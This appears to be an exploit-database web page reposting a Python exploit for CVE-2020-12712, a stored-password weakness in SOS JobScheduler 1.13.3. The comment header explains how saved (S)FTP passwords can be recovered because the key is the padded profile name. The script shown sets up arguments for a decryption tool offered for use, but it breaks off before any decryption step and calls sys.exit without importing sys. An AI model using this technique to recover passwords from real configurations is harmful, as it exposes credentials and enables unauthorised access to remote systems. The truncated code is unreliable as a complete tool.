Sos jobscheduler 1.13.3 stored password decryption Vulnerability / Exploit
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Exploits / Vulnerability Discovered : 2020-06-15 |
Type : remote |
Platform : multiple
This exploit / vulnerability Sos jobscheduler 1.13.3 stored password decryption is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
# Exploit Title: SOS JobScheduler 1.13.3 - Stored Password Decryption
# Google Dork: N/A
# Date: 2020-04-20
# Exploit Author: Sander Ubink
# Vendor Homepage: www.sos-berlin.com
# Software Link: www.sos-berlin.com/en/jobscheduler-downloads
# Version: Tested on 1.12.9 and 1.13.3, vendor reported 1.12 and 1.13
# Tested on: Windows and Linux
# CVE: CVE-2020-12712
# Description: SOS JobScheduler is a tool for remote system administration that allows users to call maintenance scripts via a web interface.
# The tool places the maintenance scripts on the remote systems by means of (S)FTP. It allows the user to save profiles for these connections,
# in which the password for the (S)FTP connection is optionally stored. When the user chooses to store the password with the profile,
# it is encrypted using the name of the profile as the encryption key. Since the name of the profile is stored in the same configuration file,
# the plaintext (S)FTP password can trivially be recovered. The encryption algorithm used is Triple DES (3DES) with three keys, requiring a key
# length of 24 bytes. The profile name is padded to this length to create the key. Finally, the encrypted password gets base64 encoded before
# being stored in the configuration file.
# Usage: python jobscheduler-decrypt.py [encrypted password in base64] [profile name]
import pyDes
import base64
import argparse
parser = argparse.ArgumentParser(description="Decrypt the password stored in a Jobscheduler (S)FTP profile configuration file")
parser.add_argument("password", help="password to be decrypted")
parser.add_argument("profilename", help="name of the profile")
args = parser.parse_args()
if len(args.profilename) > 24:
sys.exit("Profile name is longer than 24 characters. Check the validity of the input.")